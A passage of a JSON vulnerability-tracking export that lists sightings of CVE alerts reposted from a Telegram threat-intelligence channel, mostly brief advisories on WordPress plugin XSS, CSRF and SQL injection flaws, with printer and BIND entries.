https://plugins.trac.wordpress.org/browser/brid-video-easy-publish/trunk/lib/BridHtml.php#L1169\n5. https://plugins.trac.wordpress.org/browser/brid-video-easy-publish/trunk/lib/BridHtml.php#L1185\n6. https://wordpress.org/plugins/brid-video-easy-publish/#developers\n7. https://plugins.trac.wordpress.org/changeset/3226143/", "creation_timestamp": "2025-01-25T08:05:49.000000Z"}, {"uuid": "d43da4f2-683c-4641-a6e5-199f409214db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3243", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12807\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-28T06:15:31.680\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/fcce0839-bb1d-4aa3-b236-ff5f5e9b6120/", "creation_timestamp": "2025-01-28T07:17:09.000000Z"}, {"uuid": "a4ba6b1b-4e1f-4a85-a7a2-6fed1211e12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3364", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12749\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-29T06:15:30.387\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/478316b9-9f47-4aa6-92c6-03879f16a3e5/", "creation_timestamp": "2025-01-29T07:18:13.000000Z"}, {"uuid": "8c86c440-0979-48d5-aab3-eb2f16f413c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3447", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12708\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Bulk Me Now! WordPress plugin through 2.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-01-30T06:30:50Z\n\ud83d\udccf Modified: 2025-01-30T06:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12708\n2. https://wpscan.com/vulnerability/8f30a37e-b9d0-467b-a0e3-20dc0a9f2b61", "creation_timestamp": "2025-01-30T07:11:23.000000Z"}, {"uuid": "7ea984ee-c0be-4f94-b985-59f60d5972a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3162", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-mj6j-32rm-jv58\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WC Affiliate  WordPress plugin through 2.3.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-27T06:30:26Z\n\ud83d\udccf Modified: 2025-01-27T06:30:26Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12321\n2. https://wpscan.com/vulnerability/d4c55d30-1c15-41ee-95e0-670891d67684", "creation_timestamp": "2025-01-27T07:07:49.000000Z"}, {"uuid": "731faf20-1484-4280-b973-2916f9b17b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3446", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12921\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The EthereumICO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's ethereum-ico shortcode in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-30T06:30:50Z\n\ud83d\udccf Modified: 2025-01-30T06:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12921\n2. https://plugins.trac.wordpress.org/changeset/3230122/ethereumico\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/d964c99c-6ab6-453c-969f-66d5cd00dc8e?source=cve", "creation_timestamp": "2025-01-30T07:11:22.000000Z"}, {"uuid": "be6afa36-4525-4fe5-b6c5-62cb19b39373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3451", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12400\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The tourmaster WordPress plugin before 5.3.5 does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.\n\ud83d\udccf Published: 2025-01-30T06:30:49Z\n\ud83d\udccf Modified: 2025-01-30T06:30:49Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12400\n2. https://wpscan.com/vulnerability/3542315c-93c3-41dd-a99e-02a38cfd58fb", "creation_timestamp": "2025-01-30T07:11:29.000000Z"}, {"uuid": "9702c979-f72f-42c2-b3d4-ba62d2a1f0d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3461", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12400\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.223\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/3542315c-93c3-41dd-a99e-02a38cfd58fb/", "creation_timestamp": "2025-01-30T07:18:51.000000Z"}, {"uuid": "5ad34fd8-87e0-421f-820d-e8e28acfbaae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3158", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-v9f7-mhwh-hfh9\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Altra Side Menu WordPress plugin through 2.0 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks\n\ud83d\udccf Published: 2025-01-27T06:30:26Z\n\ud83d\udccf Modified: 2025-01-27T06:30:26Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12773\n2. https://wpscan.com/vulnerability/fab64105-599f-49a4-b01d-c873ff34b590", "creation_timestamp": "2025-01-27T07:07:46.000000Z"}, {"uuid": "f1a49dd8-3728-422c-82dc-ae7caddbe9ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3239", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12807\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Social Share Buttons for WordPress plugin through 2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-28T06:30:40Z\n\ud83d\udccf Modified: 2025-01-28T06:30:40Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12807\n2. https://wpscan.com/vulnerability/fcce0839-bb1d-4aa3-b236-ff5f5e9b6120", "creation_timestamp": "2025-01-28T07:08:47.000000Z"}, {"uuid": "c3dd7903-a7e1-48e2-9ac3-7d377362e238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5535", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12782\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability has been found in Fujifilm Apeos C3070, Apeos C5570 and Apeos C6580 up to 24.8.28 and classified as critical. This vulnerability affects unknown code of the file /home/index.html#hashHome of the component Web Interface. The manipulation leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. The vendor explains that \"during technical verification it is not possible to reproduce any active actions like reboots which were mentioned in the original researcher disclosure.\"\n\ud83d\udccf Published: 2024-12-19T12:31:07.155Z\n\ud83d\udccf Modified: 2025-02-26T15:54:01.223Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.288958\n2. https://vuldb.com/?ctiid.288958\n3. https://vuldb.com/?submit.458897\n4. https://www.fujifilm.com/fbglobal/eng/company/news/notice/2024/1226_announce.html", "creation_timestamp": "2025-02-26T16:24:33.000000Z"}, {"uuid": "bd963e9b-9e47-4993-8d7a-5fdb100be70d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3174", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-f39m-g6qq-h3xv\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WP Customer Area WordPress plugin through 8.2.4 does not have CSRF check in place when deleting its logs, which could allow attackers to make a logged in to delete them via a CSRF attack\n\ud83d\udccf Published: 2025-01-27T06:30:24Z\n\ud83d\udccf Modified: 2025-01-27T06:30:24Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12280\n2. https://wpscan.com/vulnerability/2b32c0b8-28bb-4220-800b-4c369bca91c5", "creation_timestamp": "2025-01-27T07:08:07.000000Z"}, {"uuid": "277cbd63-52d5-4b3a-8b82-b6a089b84b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3233", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12723\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Infility Global WordPress plugin through 2.9.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-28T06:30:40Z\n\ud83d\udccf Modified: 2025-01-28T06:30:40Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12723\n2. https://wpscan.com/vulnerability/d9053b8b-c05c-42fd-913e-f85c799df807", "creation_timestamp": "2025-01-28T07:08:39.000000Z"}, {"uuid": "6203c1b5-d120-42eb-91e4-9013f8e0b77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3229", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12649\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: Buffer overflow in XPS data font processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe.\n\ud83d\udccf Published: 2025-01-28T03:31:13Z\n\ud83d\udccf Modified: 2025-01-28T03:31:13Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12649\n2. https://canon.jp/support/support-info/250127vulnerability-response\n3. https://psirt.canon/advisory-information/cp2025-001\n4. https://www.canon-europe.com/support/product-security/#news\n5. https://www.usa.canon.com/support/canon-product-advisories/service-notice-regarding-vulnerability-measure-against-buffer-overflow-for-laser-printers-and-small-office-multifunctional-printers", "creation_timestamp": "2025-01-28T04:09:33.000000Z"}, {"uuid": "05eab25e-217a-4051-97d5-28055ebbc018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3226", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12648\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: Buffer overflow in TIFF data EXIF tag processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe.\n\ud83d\udccf Published: 2025-01-28T03:31:13Z\n\ud83d\udccf Modified: 2025-01-28T03:31:13Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12648\n2. https://canon.jp/support/support-info/250127vulnerability-response\n3. https://psirt.canon/advisory-information/cp2025-001\n4. https://www.canon-europe.com/support/product-security/#news\n5. https://www.usa.canon.com/support/canon-product-advisories/service-notice-regarding-vulnerability-measure-against-buffer-overflow-for-laser-printers-and-small-office-multifunctional-printers", "creation_timestamp": "2025-01-28T04:09:28.000000Z"}, {"uuid": "37813976-0cb6-44ab-abf9-738d7f6dcb97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3244", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12723\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-28T06:15:31.370\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/d9053b8b-c05c-42fd-913e-f85c799df807/", "creation_timestamp": "2025-01-28T07:17:10.000000Z"}, {"uuid": "ee4b4fca-6da7-491f-bc28-d807681a4b5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3430", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12705\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: Clients using DNS-over-HTTPS (DoH) can exhaust a DNS resolver's CPU and/or memory by flooding it with crafted valid or invalid HTTP/2 traffic.\nThis issue affects BIND 9 versions 9.18.0 through 9.18.32, 9.20.0 through 9.20.4, 9.21.0 through 9.21.3, and 9.18.11-S1 through 9.18.32-S1.\n\ud83d\udccf Published: 2025-01-30T00:31:03Z\n\ud83d\udccf Modified: 2025-01-30T00:31:03Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12705\n2. https://kb.isc.org/docs/cve-2024-12705", "creation_timestamp": "2025-01-30T01:12:11.000000Z"}, {"uuid": "e7f8f837-8da6-4a79-a9d4-c97e25c35b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3726", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12768\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Responsive iframe WordPress plugin through 1.2.0 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-02-01T06:31:01Z\n\ud83d\udccf Modified: 2025-02-01T06:31:01Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12768\n2. https://wpscan.com/vulnerability/fe2e47f4-b89e-4c22-8d27-672da0fb99af", "creation_timestamp": "2025-02-01T07:16:19.000000Z"}, {"uuid": "c632a877-d689-4caa-8f66-dca2f02075c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12872", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3602", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12872\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-31T06:15:27.870\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/a8a706c6-7f0f-4148-9f6f-40c0ca95dd9a/", "creation_timestamp": "2025-01-31T07:24:22.000000Z"}, {"uuid": "b70f1fd9-6d50-4183-8784-5342ea7f2d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3449", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12709\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Bulk Me Now! WordPress plugin through 2.0 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks.\n\ud83d\udccf Published: 2025-01-30T06:30:50Z\n\ud83d\udccf Modified: 2025-01-30T06:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12709\n2. https://wpscan.com/vulnerability/d93056f1-1a6e-405f-a094-d4d270393f87", "creation_timestamp": "2025-01-30T07:11:24.000000Z"}, {"uuid": "01170ee0-5bb8-4aa2-ad5c-6162ca195b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3448", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12638\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Bulk Me Now! WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-30T06:30:50Z\n\ud83d\udccf Modified: 2025-01-30T06:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12638\n2. https://wpscan.com/vulnerability/a6f5b0fe-00a0-4e30-aec6-87882c035beb", "creation_timestamp": "2025-01-30T07:11:24.000000Z"}, {"uuid": "c2e17198-287c-4130-8c72-6d1c0023719c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3457", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12921\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.653\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3230122/ethereumico\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/d964c99c-6ab6-453c-969f-66d5cd00dc8e?source=cve", "creation_timestamp": "2025-01-30T07:18:48.000000Z"}, {"uuid": "0b7ca5d4-567a-4384-b227-275bc911d821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3539", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1211\n\ud83d\udd25 CVSS Score: 6.4 (CVSS_V3)\n\ud83d\udd39 Description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 10.6 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2 in which cross-site request forgery may have been possible on GitLab instances configured to use JWT as an OmniAuth provider.\n\ud83d\udccf Published: 2025-01-31T00:30:44Z\n\ud83d\udccf Modified: 2025-01-31T00:30:44Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-1211\n2. https://hackerone.com/reports/2323594\n3. https://gitlab.com/gitlab-org/gitlab/-/issues/440313", "creation_timestamp": "2025-01-31T01:12:21.000000Z"}, {"uuid": "269cdf18-c233-4ef8-90e8-44f1f42b1c07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3482", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12409\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The Simple:Press Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in all versions up to, and including, 6.10.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-30T12:31:18Z\n\ud83d\udccf Modified: 2025-01-30T12:31:18Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12409\n2. https://plugins.trac.wordpress.org/browser/simplepress/trunk/admin/panel-plugins/forms/spa-plugins-list-form.php\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3230289%40simplepress&new=3230289%40simplepress&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/b9ebeb96-2f39-488e-aef6-d5af0a37c24a?source=cve", "creation_timestamp": "2025-01-30T13:11:28.000000Z"}, {"uuid": "fdc9d759-e8d8-45af-a9be-e5e70da003ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3742", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12041\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T06:15:29.527\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3208874/directorist/tags/8.0.9/includes/rest-api/Version1/class-users-controller.php\n2. https://plugins.trac.wordpress.org/changeset/3231156/directorist/tags/8.1/includes/rest-api/Version1/class-users-controller.php\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/0d9817ff-ca56-4941-97bc-f26defe7ddd5?source=cve", "creation_timestamp": "2025-02-01T07:25:46.000000Z"}, {"uuid": "6e0d80d0-0fa6-4758-9d77-393f1f1d06bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3741", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12768\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T06:15:30.740\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/fe2e47f4-b89e-4c22-8d27-672da0fb99af/", "creation_timestamp": "2025-02-01T07:25:45.000000Z"}, {"uuid": "b3d5b9a3-c914-4ce1-976e-a620195f9913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3454", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12163\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The goodlayers-core WordPress plugin before 2.1.3 allows users with a subscriber role and above to upload SVGs containing malicious payloads.\n\ud83d\udccf Published: 2025-01-30T06:30:49Z\n\ud83d\udccf Modified: 2025-01-30T06:30:49Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12163\n2. https://wpscan.com/vulnerability/ea704054-fb66-4014-89bd-1c61074f64e5", "creation_timestamp": "2025-01-30T07:11:31.000000Z"}, {"uuid": "0f34c35e-63db-46e7-9b26-e9abfde4f927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12275", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3612", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12275\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Canvasflow for WordPress plugin through 1.5.5 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-31T06:30:53Z\n\ud83d\udccf Modified: 2025-01-31T06:30:53Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12275\n2. https://wpscan.com/vulnerability/ca5bf8bd-a124-4088-a267-fd8a01cb4f4a", "creation_timestamp": "2025-01-31T08:15:02.000000Z"}, {"uuid": "414d9aae-62cd-4c10-9618-432b114d9afe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 